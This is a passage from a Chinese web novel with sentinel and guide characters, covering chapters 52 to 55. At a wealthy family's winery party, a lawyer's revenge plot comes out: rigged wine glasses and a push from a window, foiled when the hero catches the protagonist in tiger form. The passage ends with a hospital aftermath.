“嗯,有过就足够了。”弓铮皎反过来安慰起闻璱来,“其实我真的觉得还好,我那么说是为了给叔叔营造我很生气的压迫感,这样他才会对自己的生命安全有危机感……至于他想花钱买我的命这件事,其实换个思路想就好。” 他说着,竖起一根手指,煞有介事道:“假如我真的被绑架了,我叔叔很爱我,但他是个穷人,绑匪要一百万,他也拿不出来——但现在,虽然希望我死的也是他,起码他还是花了一百万加一个康复中心的,对吧?” 闻璱:“……” 就是那张一百万现在在温泉的水池子里已经泡烂了。 闻璱敷衍地附和:“那你还挺豁达的。” “因为有你心疼我了。”弓铮皎还在惦记这件事。 思索片刻,他又突然想起什么:“那现在,我能申请一个‘抱一下’吗?” 闻璱伸手在温泉里蘸了两滴水弹他一脸:“批准,但延期执行。” 这边谈话拉扯了好些功夫,闻璱还惦记着跟张律师约好了半小时后酒庄门口见的事,一抱起来,弓铮皎肯定没完没了,十有八九要耽误。 弓铮皎有点不情愿:“真要去见他吗?你现在都知道我父亲不是我父亲了,有这个必要吗?” “有的,你说过照片上的人是宫博士,我想见一见他。不过,我不打算这次就直接问他关于项目的事,你也不许再像刚才那样,伤敌八百,自损两万。” 见闻璱一本正经,弓铮皎才从这个正事与私情的漩涡里被转出来。 “好吧。不过你最好做好心理准备,和他说话其实挺烦人的。”弓铮皎叮嘱。 阿斯伯格综合征患者在社交上通常表现出一种缺陷,这也难免,闻璱并没有忘记这件事。 酒庄门口,张律师等待已久。 和闻璱、弓铮皎会合之后,张律师照旧向闻璱点头示意,也照旧不知有意无意地忽略了弓铮皎。 闻璱忍不住问:“张律师,你是看不到弓铮皎吗?” 弓铮皎抢话:“张律师单纯的犯贱而已。” 张律师瞥了一眼弓铮皎,礼貌道:“弓先生怎么会这么想?只不过,老板确实建议我们,尽可能少跟你接触,其中也包括视线接触。” 避免视线接触——闻璱确认了,他们确实把弓铮皎当作“了笼子外的野兽”来看待。 弓铮皎冷笑道:“那你最好也少跟闻璱抛你那媚眼,毕竟我管很宽的。” 他总是把张律师当假想敌,闻璱却觉得,张律师的态度实在清白,而且,张律师都快跟自己差辈了,实在没这必要。 只不过张律师的言行上也确实有矛盾之处,或许弓铮皎只是对此更加敏感。 说话间,三人进入酒庄,在地窖的酒柜之间,见到了仍然踌躇于选酒的宫博士。 闻璱见过宫博士的双胞胎兄弟,也见过宫博士年轻时的照片,仍然在此刻感到一丝惊讶。 因为眼前的宫博士他……竟然长发飘飘,还烫了个大卷,造型着实令人无法理解,不过,倒是和宫董形成了鲜明的差异。 弓铮皎和张律师似乎都对这稍嫌小众的搭配习以为常。 张律师打了个招呼:“博士,下午好。” 宫博士也回以一声:“下午好,张律师。我正在挑今天要喝的酒,但没什么头绪。” 张律师便发挥万能打工人的作用,立刻道:“不如听听我的建议?” 他说着,似乎随手从酒柜中取出一瓶名贵的干白。 “罗曼尼酒庄的蒙塔榭白葡萄酒,年份悠久,口感清新,层次丰富。最重要的是,符合宫董今天的心情。”张律师笑了笑,“我们刚从宫董那边来,刚才似乎勾起了宫董某些不太好的回忆,我想,他现在不太会想喝红葡萄酒。” 宫博士瞭然地点点头,接过酒握在手中。 张律师补充道:“不过,这瓶白葡萄酒无需专门醒酒,但别忘了饮前轻轻摇杯——呵呵,只是个小建议。” 酒的话题到此结束,张律师示意宫博士不要忽略自己的身后。 于是,宫博士的目光才从手中的酒瓶移开,越过张律师,看着弓铮皎。 宫博士很平静:“你怎么来了?不是没有给你发请柬吗?” 话音才落,他又转向闻璱:“这位又是谁。” “博士,您开玩笑了。”张律师睁眼说瞎话地打圆场,“这位是弓铮皎先生的约会对象,哦不,是情人,闻璱。” 说到“情人”二字时,他专门用重音给宫博士划重点。 “铮皎也到这年纪了。”宫博士道,“你们发生星行为了吗?事前记得要做体检,不要走你堂哥的老路。” 一上来就说如此炸裂的话,连张律师都有点挂不住脸了。 弓铮皎也冷着脸说:“少管,我干净得很。” 闻璱:“……” 虽然他个人认为,按照宫博士的意思,应该是提醒弓铮皎注意自己。 幸好闻璱对眼前的一切有预期,加上弓铮皎的反应实在有趣,这冒犯的话并没让闻璱萌生出太多不悦,只是忍不住低声问:“你堂哥怎么了?” “哦,就是叔叔的大儿子,宫烁的大哥,参加那种聚会不做保护,得病了,我父亲认为他是家族耻辱,叔叔也不让他参加宴会,最近他比我还不受待见。” 闻璱:“……” 这宫家真是人才济济啊。 宫博士突然盯着闻璱,那张毫无表情的脸渐渐软化,露出一个模式化的微笑——且果真如弓铮皎所说,有些轻微的高低眉。 “等等,你是一个向导,而且是融合派?” 第53章 大老虎吃人! 闻璱陡然一惊。 在这场几乎全是普通人的生日宴会上,闻璱几乎已经习惯了像张律师这样对特种人一无所知、像宫董这样对特种人揣有警惕的普通人。 以至于在与宫博士见面之前,闻璱的心理预期唯独不包括,被就这样看穿融合派的秘密。 张律师一脸茫然:“什么是融合派?” 弓铮皎也没想到宫博士上来就如此语出惊人,他皱着眉替闻璱掩护:“又说什么胡话呢?”他伸手揽过闻璱,这一次动作无师自通地熟练起来,“现在我们见过了,走吧,别管他了。” 宫博士却又道:“不,不对……我搞错了,你只是精神体有特殊情况。” 这话更让闻璱心中凛然。 他的精神体确实有特殊情况——可是为什么宫博士一个普通人能看出来?如果不是闻璱主动说,连弓铮皎都发现不了闻璱的病症。 弓铮皎心里一动,立刻沉了脸,作出生气的样子:“你什么意思?” 宫博士并不在意他,目光一直只在闻璱身上,语气也古井无波:“很有趣,我研究特种人三十多年了,你是第一个自然产生这种异变的个体。下周我有空,你可以来我的实验室做个检测。” “检测什么?”弓铮皎恼怒道,“把话说明白!” 他半是真心在意,半是做样子,喉头滚出道声音便带上了野兽酝酿咆哮的低沉鸣声。 闻璱习惯了不觉得有什么,吓得宫博士和张律师一连退开好几步。 张律师也连忙道:“宫博士您到底是什么意思?” “这个人对我的研究会有帮助,嗯,也可能是对那个项目。”宫博士不答,只是从胸前抽出一张名片递给闻璱。 在落入闻璱手中之前,弓铮皎把名片揉在手心里,冲宫博士道:“别做梦了,我可不会让闻璱成为你的小白鼠!” 闻璱也恰到好处地拉了他一把,装模作样地劝道:“别那么激动,给宫博士一个解释的机会。” 宫博士这才看了一眼张律师和弓铮皎,缓缓道:“精神力很奇妙,还有小动物和精神空间,多么有趣啊。只可惜,只有特种人才拥有这份特殊的精神力。这些年我一直在研究,有没有什么让普通人也能够接触到精神力的办法,你给了我一些灵感。” 似乎宫博士并不是第一次与人说起自己这宏伟又荒谬的目标,以至于张律师听了,竟然也不惊讶,反而隐晦地摇了摇头,对此很无奈一般。 让普通人接触精神力,这想法有些天马行空,闻璱更不明白从自己的身上能看到什么灵感。 他沉吟片刻,没有把话说死:“我考虑一下吧。” 于是,弓铮皎才“不情不愿”地把手里那片皱巴巴的名片还给闻璱。 弓铮皎的过激反应让宫博士和张律师都心有余悸,这场本来就说不上愉快的见面,就这样不欢而散。 闻璱抚摸过名片上的联系方式,其实对这次会见的成果还算满意。 离开地窖后,宫博士没打招呼就告辞了,独自去往会场。 张律师则带两人走了另一条路,通往酒庄宴会会场的偏僻角落,兜兜转转地,那幢雅致的小楼又出现在视野里。 而在这里,一个穿条纹衬衫的年轻人坐在阴凉处的花园椅上抽雪茄。 弓铮皎对这个年轻人的存在并不意外,理应如此,大概在正式看到他的身影之前,弓铮皎就听到、闻到了他的存在。 张律师故作惊讶:“宫烁先生,您怎么在这里?” 原来这就是即将要替弓铮皎打白工的那位“堂兄弟”。 宫烁朝这边挥了挥手,尤其对弓铮皎:“老爸有令,让我刚刚加班把合同准备好,还要给你仔细讲解所有条款。” 张律师接话:“原来如此。既然这样,不如我和闻先生在这边散散步,等一下弓铮皎先生?放心,我们不会走远,也走不远。” 闻璱看了他一眼,又看了弓铮皎一眼。 张律师显然是装的,宫烁会在这里等弓铮皎,必然是宫董安排好了的,而张律师等待这个和闻璱“私下聊天”的机会,恐怕也很久了。 而弓铮皎…… 弓铮皎朝闻璱瘪了瘪嘴,低声道:“他好臭,每次都这么臭,还以为自己喷了香水就很香。” 闻璱忍笑帮他把嗅觉又调低了些:“去吧。” 得了他的首肯,弓铮皎才腰去腿不去地去了。 张律师玩笑道:“闻先生的手段高明啊,弓铮皎先生对您如此言听计从,要是我老板见了,不知该有多羡慕。” 闻璱并不想跟他调笑弓铮皎,直入正题:“上次的事——” “这里的阳光是不是有些太大了?我们再走几步吧。”张律师打断了闻璱。 他怕距离太近,弓铮皎会听到,带着闻璱散了两圈步,最终再次登上那幢小楼。 此时宫董、助理保镖,以及柳部长已经离开,整栋楼空无一人。 闻璱站在窗边,随手打开窗户,往下望去,已经不太能看清弓铮皎的面容。 可张律师的认知还是局限在普通人里——这距离对弓铮皎来说,和近在眼前的差别其实不大。 张律师不远不近地站在闻璱身旁,甚至很有闲情逸致地为闻璱指了指,会场中心一处众星捧月人群:“看,宫董,宫博士,还有疗愈中心的柳部长,您感兴趣的人都在那边。” 远远望去,倒是依稀可见宫董与人觥筹交错的身影。 闻璱淡淡道:“现在可以说了吗?再过一会儿,弓铮皎忙完,就会过来了。” “当然。”张律师道,“闻先生今天出现在这里,肯定是把我那天的话看在心里了。只不过,白塔在线系统受监管,有些隐私的话,我不敢在网上说。” “违规拷贝课题数据,还有那张照片,这些证据你都发了,还有什么是比这更不能见人的?”闻璱顺着张律师的话问。 张律师若有所思地看着他,道:“就是刚才宫博士所说的,让普通人接触精神力的实验。三十年了,这个项目又要重启了,还违规使用了您曾经的课题数据,您难道不生气?” 闻璱:“说重点。” “呵呵,闻先生对我的耐心有限啊。”张律师笑了笑,“您刚刚见过了宫博士,宫博士对精神力的奥秘如痴如醉,只可惜他并没能成为一个特种人,这是他最大的遗憾,但幸好宫家很有钱。三十年前,宫董牵头组建了一个项目组,他们致力于研究,人造特种人。 “而我父亲和那天您看到的,照片上的右二女士,就是项目的两个‘小白鼠’。 “毫无疑问,这荒谬的项目当年没能成功,我父亲得到了一笔钱,继续普通人的生活——但没多久,他就在一场火灾中丧生。” “已经过去二十三年了,我竟然还记得那一幕,”张律师竟然笑了:“我父亲的尸体碳化严重,头和四肢都成了灰,法医几乎无法进行尸检,连DNA提取都很困难,但事情发生在我家里,死者是他,也只能是他。” 闻璱适时道:“节哀。” 心里却更是疑惑:同为项目受验者,逄婆婆却很有可能“隐姓埋名”地活到寿终正寝,到底是为什么? 张律师继续道:“当时我还在念中学,父亲的死几乎让我全家崩溃,但也幸好……幸好他死得彻底,免去了活着的病痛,免去了治病可能带来的经济负担和道德困境,让我母亲得以顺利改嫁。” “而我的继父,也姓弓,弓铮皎先生的弓。”张律师微微一笑,“但别误会,我继父家只是宫家一个非常远的亲戚,族谱大概要追溯到五百年前那种,他们甚至没机会参加今天宫董的生日会。” “在继父的支持下,我进入希冕创辉旗下的企业工作——哦,忘了说,法考我是自学过的,我的学位是有机化学硕士——直到我继父病逝后,整理他的遗物时,我发现了我父亲的一份尸检报告,上面有宫董的签字。” “还有一段电话录音,宫董对继父说,这件事办得很不错,唯一的证据,也被销毁了。” 他说着转过头,带着阴森地微笑凝视闻璱:“那个项目究竟有什么秘密藏在DNA里,以至于,需要一场如此声势浩大的火灾,把我父亲烧成灰?我想,一定价值上百亿吧。” 闻璱一直看着窗外的风景,并没有接收张律师眼神的意思,他嘴唇微动,却没有声音发出来,只是很细微的口型:盯着会场。 他知道弓铮皎能看清。 然而,在已经看不太清的远方,闻璱却突然看到一个若隐若现的黑影,出现在弓铮皎身后。 他脸色微变,转而道:“张律师,看来你已经找到你认为的凶手了?” “凶手……呵呵,凶手可不止一个人。”张律师话锋一转,“宫博士想要重启项目,柳心致用课题数据作为投名状主动送了上来,宫董则看中人造特种人带来的经济效益,没有一个人是无辜的,在项目已经失败、让我父亲付出了生命的代价,他们仍然贼心不死!” “这很困难。”闻璱装作就事论事,“希冕创辉的声量何其大,你很难抗衡。但如果把事情捅到公会那边,公会的程主席与希冕创辉不睦已久,她大概会感兴趣——让资本来扳倒资本……” “呵呵,闻先生,你说得很有道理,这确实是个好办法。”张律师摇头一笑,“只不过,我不是奔着‘讨个公道’来的。” “你想要他们的命?”闻璱问。 “没错,我想要宫家人的命!”张律师突然上前,握住了闻璱的肩膀。 “我不想伤害你,闻先生,但是,弓铮皎是个怪物,可他必须要在这里,他在这其中扮演了太重要的一环——反正他也没几天可活了不是吗?他在这里,只要他在这里,就一定来得及发现不对,除非——” 话音未落,张律师猛地扑过来! 齐腰高的窗户大敞着,两个人跌出去时,几乎没起到任何阻拦作用。 刚才闻璱也大致估算过,这幢小楼虽然只有四层,但每层吊顶格外挑高,如果毫无保护和缓冲地坠落下去,不死也得骨折至少十八处。 眼前画面颠倒,张律师扭曲的脸占据视野,闻璱听到张律师歇斯底里的声音:“除非有两个意外同时发生,而他选择救你!” 与此同时——会场里,蒙塔榭白葡萄酒的被宫博士亲手开启,递到宫董的手中。 这两人的面貌实在相似,只是宫博士发型独特,而宫董脸上总是挂 着淡淡笑意,这才让区分两人没有成为一个难题。 而宫董从身后助理的手中,接过了那两枚精美的水晶杯——他也将其中一枚,递给宫博士。 “铮皎送的。”他说,“也算是孩子一片心意吧。” 酒瓶口就这样靠在杯沿。 “叮”地一声。 和撕心裂肺的尖叫声一起响起:“有老虎!大老虎吃人啊——!” 第54章 一口就把闻璱吃—— 闻璱也听到了那声尖叫。 因为他就是那个被大老虎“含”进口中的人。 闻璱的计画很简单,张律师说弓铮皎在场就一定能发现异常,既然如此,让得知了这个线索的弓铮皎去注意会场,而他自己,并不担心张律师能造成任何创伤。 刚刚站在窗边时,他看到了小黑的身影出现在弓铮皎身后。 只需要小黑能够配合,甚至不需要拟态融合,有一瞬的缓冲就足够。 他会调整好落地姿势,最多只会软组织挫伤几处,如果用张律师做人肉缓冲的话,甚至可能只会擦伤。 张律师费心营造,让两场意外同时发生,想让弓铮皎坠入伦理的困境中,无论如何做选择,都免不了顾此失彼,但闻璱并不打算将选择权仍然交给弓铮皎。 但是,在闻璱的精神体响应他的召唤之前——完全融合态的弓铮皎接住了他。 从十几米的高度自由落体只需要不到两秒钟时间,闻璱的反应再快,不如哨兵的本能更快。 弓铮皎的位置距离小楼不算远,但自由落体的速度也实在没能给弓铮皎思考的机会。 上一秒,他按照闻璱的指示盯着会场,看着宫董和宫博士私语提及自己。 同一秒,他的余光捕捉到雪白的一道亮光在小楼的窗口闪过。 过人的视力几乎让一切呈现成慢放,弓铮皎浑身上下的血液流动也随之变得缓慢。 只是本能。 刃齿虎的身形完全展开,在眨眼的间隙就跨越了上百米的距离。 他高高跃起,在半空中将闻璱含入口中——在那之后,理智、思考、一切和人类有关的东西才姗姗来迟。 也在半空中,弓铮皎脱离了融合态。 阿咬离了他便被调整回到无法被普通人看到的频率,奔向会场。 而闻璱的人肉缓冲变成了弓铮皎的身体。 有了饿虎扑人的力,他们在草地上滚了好几圈,被弓铮皎用手刹车停了下来。 闻璱被弓铮皎紧紧扣在怀里,弓铮皎的两只手分别护在他最关键的后脑勺和后颈,除了看起来确实有点狼狈,可以说是毫发无伤——连在草坪里翻滚的那几圈,弓铮皎都没让闻璱着过地。 但他抬起头第一件事是:“会场!” 听到他的声音,弓铮皎的呼吸系统才重新开始运转。 心脏跳动,血被泵出来淌向弓铮皎的身体各处,四肢才能够将人送开。 他急促地喘了一声,带着劫后余生的庆幸:“你没关系,那边也没关系。” 耳边仍然回荡着淩乱无序的风啸草动声,是弓铮皎一瞬间过度调动的感官一时无法恢复正常水平。 闻璱的听觉没有那么敏锐,自然就听到了最刺耳的一声尖叫:“大老虎吃人——” 他脸色微变,立刻起身拉起弓铮皎,口中快速道:“去会场,现在、立刻!你必须保持稳定状态出现在会场!” 那尖叫是宫烁的声音,也就是说宫烁目击了弓铮皎拟态融合的全过程。 既然如此,弓铮皎必须以看起来平平无奇的状态被更多人看到,以弓铮皎的速度争分夺秒,才有机会完成这个普通人眼中的“不在场证明”。 话虽如此,闻璱不得不承认,弓铮皎现在的状态很难被认为是“平平无奇”。 衣服上沾了草叶泥土,这倒好说,外套脱了,里面的衣服还算干净。 关键是脸——弓铮皎两眼布满血丝,脸颊发红,嘴唇却苍白,看起来实在不是这一会儿就能调整好的异常。 但现在也没有其他办法了。 闻璱没功夫多想,忽然上前咬了一下弓铮皎的下唇。 情急之下,他的动作也迅疾如闪电,咬过之后,那嘴唇果然有了血色,弓铮皎也从灵魂半出窍的状态突然回过神来—— 闻璱便抓住他要捂嘴的手,用他自己的手指把嘴唇上的血珠抹开。 这当然不像是自然的唇色,但是,却有些像意乱情迷时沾上了他人的口红。 如此说来,这个形象如果被理解为草地里和人偷情赶来,倒是也算合理。 “你得让所有人看到你去会场,好吗?我有办法离开这里,然后,你去医院找我。”闻璱说着,让小黑进行了一圈快速试飞。 顺着闻璱的目光,没有被用到的小黑这时才挤入弓铮皎的视野。 他后知后觉地反应过来闻璱或许并不需要他的帮助。 闻璱沉声道:“快去!” 这声音掺进了精神力的重拳,大摆锤一样砸在弓铮皎的脑袋里,瞬间一切乱七八糟的繁杂信息都被抹除,只剩下指令:去会场。 弓铮皎当然服从…… 小楼发生的一切不过只在几秒之间,会场才因为那一声尖叫而陷入混乱。 “老虎?什么老虎?” “谁喊的有老虎?” 宫董毕竟年事已高,被这突然的一声尖叫惊得手腕一抖。 助理上前从他手中接过那瓶酒,宫董的目光随人群一并向尖叫声传来的方向望去,眉头已是抑制不住地拧起。 那音色有些熟悉,如果宫董所料不错,应该是出自宫烁。 他搞不明白宫烁为什么会如此失礼,被懂事的小儿子如此破坏生日宴会,比弓铮皎发狂还让他不爽——但他也来不及明白了。 因为意外只发生在连眨眼都来不及的下一瞬。 他确信自己甚至没有眼前一花,却被一股看不见的巨力直接扑倒在地,还在滚了好几圈。 疼痛、恐惧、心脏停跳,让宫董好一会儿才回过神来,那时他已经被颤抖的助理搀扶着起身。 戴上备用眼镜,宫董才看清,宫博士还在自己腿边躺着,似乎刚才同样被那一股巨力击到。 幸而宫董威严尚在,又或许是有什么其它原因,偌大的会场里没有一声嘲笑,只有此起彼伏的惊呼。 人群自发地分开一条康庄大道,所有人都生怕跑得不够快会沾上什么可怕的东西一样。 弓铮皎从那里走了出来。 他衣衫略显淩乱,前胸几道划痕看起来很是暧昧,更不用说唇边还有没来得及擦去的口红印记,刚才去做了什么,真是无需言说。 人群议论纷纷:这不是宫博士的私生子?他这是…… 宫董更是惊魂未定:“弓铮皎?你干什么?刚才……” 他的视线转移到弓铮皎手上,只见弓铮皎一手夹着两枚酒杯,而另一只手,则杂技一般地把玩着那瓶白葡萄酒。 酒已开瓶,但在弓铮皎手里被盘来转去,没有洒出来一滴。 弓铮皎也看着宫董,眼眶里有血丝,但没有任何感情,像极了精神不正常专程来砸场子的。 宫董这才突然想起来,弓铮皎就是一只最可怕的“老虎”。 他心里一慌,连忙低声吩咐助理:“去看看宫烁怎么回事。” 窃窃私语时,弓铮皎终于动起来。 酒瓶被他掷出,抛物线沿途的所有人都在躲闪,甚至有人惊慌地推倒了餐桌和鲜花,有人不慎摔倒在地。 宫董也不例外,但被保镖簇拥着一通移动过后,最终,那瓶酒还是准确地落在宫董脚边,站立在草地上,比宫董还要稳定。 弓铮皎说:“杯子我带走了。” 说完,转头就打算离开。 他这么不体面的出场,把生日宴会搞成了这样,现在,就打算拿着这两个杯子离开了? 刚才倒酒之前,宫董说话也并未避人,至少距离近的不少人都听到宫董说:这是铮皎的一片心意。 只是不知道这心意究竟是酒还是杯,而现在来看,无论是什么,弓铮皎的心意都实在是“不留情面”。 “等等。”宫董沉了脸色,“弓铮皎,你到底是怎么回事?” 他心里说不上是恐惧、愤怒、后悔,哪个更多,但他总是不能忍受就这样把弓铮皎放走。 从弓铮皎不请自来至今,宫董自认处处忍让,放低了长辈的姿态,然而收获的却是弓铮皎在他脸上抽了一个大耳光。 见弓铮皎彷佛没听到自己的话一般,步伐没有丝毫停顿,宫董对保镖说:“拦住他。” 同时,宫董的目光下意识地在人群中查找柳部长——弓铮皎是个怪物,保镖的素质再高,最多只能牵制一小下,只有同为特种人的柳部长才有可能发挥作用。 而且,弓铮皎这样发狂,作为疗愈中心负责人的柳部长,不也应该立刻出手,把弓铮皎控制住、甚至无害化处理吗? 然而一片人仰马翻里,并不见柳部长的身影。 几个保镖还没能、也不敢近弓铮皎的身,那边才被派走的助理正一路小跑回来,对宫董说:“宫烁少爷只是受了惊,有人坠楼了。” 宫董心里更是一惊:“谁?死了吗?” “没有当场死亡,我已经联系了救护车和医院,但是……”助理仓惶地偷瞄了一眼弓铮皎的背影,尽可能压低声音:“是张律师,还有闻先生。” 这一下,宫董更是心脏狂跳。 他顾不上会场,更顾不上跟弓铮皎吵架,跟着助理匆匆赶去事故现场,保镖也被留下一部分,用于封锁会场。 而抵达小楼下,宫董终于见到了梦寐以求的柳部长的身影。 张律师躺在血泊里,情况看起来确实是十分不好,至少肉眼可见左腿以反方向扭曲了,叫人看得幻痛。 宫烁惊慌失声,见宫董来,连忙道:“爸——弓铮皎他刚刚变成了一只老虎,一只牙齿那么长的老虎啊!他还吃人!” 宫董看他确实没受什么伤,神情才放松下来,费解道:“变成?吃人?” 他们对弓铮皎的恐惧主要来源于肉身就能掰钢筋的可怕体能——作为普通人,他们只知道精神体对普通人来说永远“不可视”,也理论上无法造成影响。 柳部长此时插话道:“弓铮皎的情况可能不太稳定,但‘变成’和‘吃人’应该是宫烁看错了,受惊之下大脑会有一些错误的记忆,这是正常的保护机制。” 宫烁还想辩解,但宫董沉着脸点了点头,已经算是将事实就这样敲定。 张律师的情况说不上好,助理一脸愁容,自觉地忙起来,忙着联系公关媒体,注意封锁消息,已经安排救护车把张律师拉走之后的处理。 地上只躺着一个行动不能自理的人,血迹也只是一个人的,宫董看了又看,确信没有第二个伤者的存在,连忙问:“另一个人呢?你不是说闻璱也坠楼了?” “啊,这……”助理迟疑道,“我刚刚来的时候,闻先生确实也在啊,他的情况比张律师好些……” “那他人呢?”宫董震怒。 “别管他了。”柳部长道,“宫董,救护车还有多久来?再拖延,张律师这条腿不好说能不能保住了。” 宫烁被强行冷静下来,也立刻投入公关联系中,才挂断通话,连忙道:“马上就来,无论如何,他不能死在酒庄里。” 柳部长皱眉道:“这是什么话,没到那地步。” 宫董却抓住他问:“怎么回事?两人坠楼,不能排除闻璱谋杀张律师的可能,柳部长,你隐瞒闻璱的去向,难道你们是共犯?” “你想多了。”柳部长平心静气道,“这里没有安装监控,你想摆脱责任,我知道,但你想污蔑一个向导也不是那么容易的事。” “那闻璱在哪?”宫董又看向助理,“你说他们两人坠楼,张律师摔成这样,难不成闻璱拍拍屁股就自己站起来回家了?又不是弓铮皎!” “呃……所以我说弓铮皎变成老虎了!”宫烁抓狂道,“因为他刚刚一口就把闻璱吃——” 话没说完,柳部长突然抬手在宫烁眼前一挥。 就像是用了麻醉剂,宫烁两眼一翻,就这样昏倒过去。 宫董连忙扶住宫烁,急道:“柳心致,你对我儿子干什么?他是普通人!” 柳部长冷静道:“他应该是受惊之下PTSD了,我只是用精神力让他的大脑休息,他需要休息才能更快更好地康复。宫董事长,现在你更该处理这场谋杀未遂的事——弓铮皎救了你。至于闻璱……不用管他。” 第55章 是你色迷心窍。 闻璱此刻正在特种人医院白塔总部进行体检。 事发突然,闻璱的计画被打乱了,好在目前来看仍然在掌控中。 毕竟宫董在意的是希冕创辉的利益,他只是个小喽啰,留下的话,说不定为了保留案发当场会封锁酒庄,还不知道要浪费多少时间。 而闻璱正好有不能等的事——趁小黑现身,他要赶紧做个体检。 之前好几回小黑偶然现身,都在闻璱摸到之前就消失了。这一回,倒是情急之下,闻璱借小黑离开了酒庄,小黑也没有消失。 不过还是不幸,就当闻璱以为终于能得到一份科学的病理性报告时,在距离医院还有两步路的位置,小黑又隐身了。 闻璱:“……” 来都来了,那就还是做个体检吧。 他的病情一直以来相对稳定,既没有任何康复的端倪,也观测不到任何恶化的风险,因此例行检查的频率一降再降,在今天之前,他已经三个月没有进行过体检。 果然,这次体检的结果并没有什么不同。 医生拿着检查结果给闻璱分析,最终得出的结论与以往每一次完全一致。 闻璱意料之中的心累:“给我开瓶生理盐水吧。” 医生:? 但吊生理盐水没什么忌讳,考虑到绝症患者受到一筹莫展的病情打击,或许需要一些心理上的慰藉,医生还是满足了闻璱的要求。 于是,离开病房时,闻璱一只手高高地举着一瓶生理盐水。 病房外等待的弓铮皎迎上来,一脸紧张地接过生理盐水瓶:“怎么样?” “就那样。”闻璱问,“酒庄的事怎么处理了?” 弓铮皎便道:“张律师确实动了手脚,但没能成功。现在他断了一条腿,被救护车拉走了。叔叔封锁酒庄,柳部长叫警卫部来取证。至于证物……是那双酒杯。” “特制双层水晶杯,内层涂抹了白磷和氧化剂,靠酒精破壁,倒酒、摇杯会引起白磷爆燃,怪不得选个酒他的话那么多。” 也怪不得,他会说,弓铮皎在他的计画里扮演了其中太重要的一环——宫博士、宫董死后,宫烁为了稳定大局,很大概率也会将这件事扣在送出酒杯的弓铮皎头上。 张律师执念太深,执意用自己亲生父亲死亡的手段来复仇,想要宫家人在众目睽睽之下被烧成灰。 闻璱瞭然地点了点头:“证物要保存好,人证也是,至少现在宫董还活着,他不会认为凶手是你。” 在宫董心里,弓铮皎想杀人绝对不会这么迂回,他只需要直接发狂就好了。 “证物已经递交了。” 闻璱没问他递交给了谁。 但弓铮皎主动道:“……按你说的,消息给程主席那边也抄送了一份。” 两人一道去病房,按理说一瓶生理盐水,在大厅坐着吊完就行了,但弓大少爷的待遇特殊,一瓶生理盐水,也可以安排单人豪华病房。 或者说,这本来就是“弓铮皎专属病房”。 推开门的一瞬间,闻璱的脚步就钉住了。 这房间想来装修过很多遍,至少墙漆就粉刷过无数次,可闻璱还是发现了一层一层新漆下的划痕。 因为那绝非人力可达,想来,应该是一只巨大的虎爪在墙上涂画。 弓铮皎似乎也察觉到了那些划痕,有些尴尬地解释道:“以前只有我一个人住,然后又经常损坏,所以装修不太用心……下次我肯定让他们——不对,没有下次。” 闻璱点了点头,没说什么,乖乖在床上躺下。 他实在有点疲惫,连和弓铮皎聊天的精力都没有,就匆匆合上双眼。 意外地做了一个很朴实的好梦,梦中他在芦苇荡的香蒲里自由自在地漂,眼前绒毛乱飞。 醒来时,输液管还在一点一滴。 奇异的是,输液的那只手并不觉得冰冷,闻璱低头望去,只见弓铮皎毛茸茸的大尾巴像暖宝宝一样,温和地盘住自己的手。 弓铮皎也抱着胳膊靠在椅子上,坐着陷入了梦乡,手心却还轻轻地捏着输液管捂热,脉搏和生理盐水滴落同频。 他并不是天生就知道输液的时候该怎么做,至少闻璱入睡时,他还只是两手空空地枯坐板凳。 闻璱看了一眼表,已经过去一个多小时了。 既然弓铮皎也在打瞌睡,他顺势拿出终端,用自由的那只手打开了和柳部长的会话。 上一段聊天记录还是好几年前,课题尚在时,柳部长给闻璱分享了一份参考文献。 而这一次,柳部长发来消息,是条语音:【我知道是你。走得那么早,不跟我打声招呼?】 闻璱微微皱眉:【不知道你在说什么。】 私人酒庄的监控本来就少,那幢小楼作为宫董私下会面的场合,更没有任何监控。反正没有证据,闻璱才不会承认自己牵扯进了那些事。 他不承认自己在场,也好让“弓铮皎变成大老虎吃人”的说法更立不住脚。 柳部长道:【呵呵,看来是我误会了,我还以为你是来质问我,你的课题数据。难道张律师没有告诉你?】 如果柳部长真心想要掩饰这件事,就不会专门提起了。 闻璱立刻回覆:【那你发我一份。】 柳部长不置可否,再发来语音时,隔着显示屏都能听出他的阴阳怪气:【当然,那本来就是你的课题数据,但我觉得,你不会那么拎不清,为了那点小钱就真的想做点什么吧?我还不知道,你在装清高上还真有几分演技。】 很显然他在不爽——因为三年前,柳部长就曾挟恩图报发出邀请,却被闻璱毫不留情、毫不被道德所绑架、毫不念及旧情、且不要脸地残忍拒绝。 而现在,闻璱竟然主动掺合进来,只因为张律师给的那点小钱?柳部长第一个不能接受。 闻璱毫无波动:【谢谢。那明天我就去拿数据。】 【呵呵!明天警卫部也会把弓铮皎带走的,你就等着吧。】柳部长回以冷笑一声。 闻璱放下终端,手边输液管动了动,他一抬眼,就看到弓铮皎盯着一双睡过一会仍然布满血丝的红眼睛盯着自己。 听语音的声音当然唤醒了弓铮皎,只是弓铮皎没有打扰他。 直到生理盐水滴答着快输完一瓶了,弓铮皎才轻轻动了动输液管,提醒闻璱。 他没说话,起身按了闻璱床头的调用铃,护士很快进来拔针,在闻璱的手背上粘贴一小片医用胶布。 病房里又只剩下两个人。 闻璱问他:“你刚才听到了?” “听到了。”弓铮皎说,“宫烁一口咬定看到我变身,叔叔带他去做精神鉴定了,如果结果正常,柳部长提审我也算合规。” 他顿了顿,有些失落地说:“希望调查程序能快一点,不然我就赶不上丰收季了。” 闻璱垂眸:“不想去,还不听我的话?” “……”弓铮皎没应声。 过了好一会儿,他才开口,声音嘶哑:“……只有这件事不行。” “再给我一次、十次、百千万次机会也不行,我还是会这样做。”他的声音颤抖,语气却理直气壮,“你怎么能认为,你在我眼前掉下去,我还能冷静下来?只差一点,只差一点我就接不住你了。” 那时确实很险,短短的几秒钟内发生了太多事——坠楼、弓铮皎变身接住他,又很快地分离阿咬,让阿咬去会场扑掉证物;接着,在宫烁尖叫的背景音里,闻璱仓促之间命令弓铮皎整理好状态,立刻赶去会场。 闻璱叹了一声:“我看到小黑了……” “那又怎样?”弓铮皎失声道,“你的精神体失控不是一天两天了,万一就那一瞬间出事怎么办?我——” “我没法做到永远服从命令,随你怎么说好了。你可以命令我去做任何危险的事,但是只有这种时候不行……你不能总让自己呆在最危险的地方。” 他终于控制不住地把脸埋进手心,大概不想让闻璱看到他歇斯底里的模样。 只有闷闷的声音从指缝传出来:“你在危险中,我会崩溃的。” 言出必行,他刚刚就现场崩溃了一次给闻璱看。 闻璱觉得弓铮皎对“险”的判断和自己有差异。 